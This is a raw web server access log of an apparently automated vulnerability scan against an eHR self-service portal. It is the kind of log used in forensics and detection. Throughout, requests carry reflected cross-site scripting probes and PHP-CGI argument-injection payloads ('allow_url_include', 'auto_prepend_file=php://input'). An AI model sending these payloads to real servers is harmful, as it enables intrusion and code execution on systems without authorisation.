+0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/redirect.php/ess HTTP/1.1" 302 228 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/\">?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/redirect.php/ess HTTP/1.1" 302 228 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/lostpassword.php/\">?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2842%29%3c%2fscript%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 404 271 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2842%29%3c%2fscript%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 404 271 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=+%3A%3Cstrong%3E%3E%22%27%3E%3Cscript%3Ealert%2835%29%3C%2Fscript%3E%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2841%29%22%3e HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:45 +0800] "POST /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2841%29%22%3e HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "%2527" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 11457 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2843%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2843%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/redirect.php/ess?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3EESN0000_1%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "GET /ehr/ess/redirect.php/ess?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3EESN0000_1%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php/%22%3e%3cscript%3ealert%2845%29%3c%2fscript%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 404 267 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php/%22%3e%3cscript%3ealert%2845%29%3c%2fscript%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 404 267 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "POST /ehr/ess/lostpassword.php?AppScan=%3E%22%3E%3Cscript%3Ealert%2844%29%3C%2Fscript%3E HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:46 +0800] "POST /ehr/ess/lostpassword.php?AppScan=%3E%22%3E%3Cscript%3Ealert%2844%29%3C%2Fscript%3E HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 11662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 11662 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2841%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2841%29%22%3e" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2841%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 11662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 11662 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 11662 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 11662 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 """ "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/flash_detect_min.js HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /idcard/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//../js/flash_detect_min.js HTTP/1.1" 200 11457 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2843%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2843%29%22%3e?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:47 +0800] "GET /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2843%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2848%29%3c%2fscript%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 404 271 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php/%22%3e%3cscript%3ealert%2848%29%3c%2fscript%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 404 271 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?AppScan=%3E%22%3E%3Cscript%3Ealert%2844%29%3C%2Fscript%3E" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 228 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php/\">?loginerror=Attack+error. HTTP/1.1" 200 1005 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php/\">?loginerror=Attack+error. HTTP/1.1" 200 1005 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/index.php/%22%3e%3cscript%3ealert%2852%29%3c%2fscript%3e?loginerror=Attack+error. HTTP/1.1" 404 264 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/index.php/%22%3e%3cscript%3ealert%2852%29%3c%2fscript%3e?loginerror=Attack+error. HTTP/1.1" 404 264 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 """ "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/ess/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2849%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "POST /ehr/ess/lostpassword.php/%3cimg%20src%3d%22javascript%3aalert%2849%29%22%3e?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 241 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&msgtxt=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&target=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&msgtxt=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E&target=%3E%22%27%3E%3Cscript%3Ealert%2850%29%3C%2Fscript%3E HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:49 +0800] "GET /ehr/ess/redirect.php/%3cimg%20src%3d%22javascript%3aalert%2846%29%22%3e?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+File+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Efindpasswd%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 116 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 100.64.0.1 - - [05/Dec/2025:21:50:51 +0800] "GET /ehr/ess/ess HTTP/1.1" 404 209 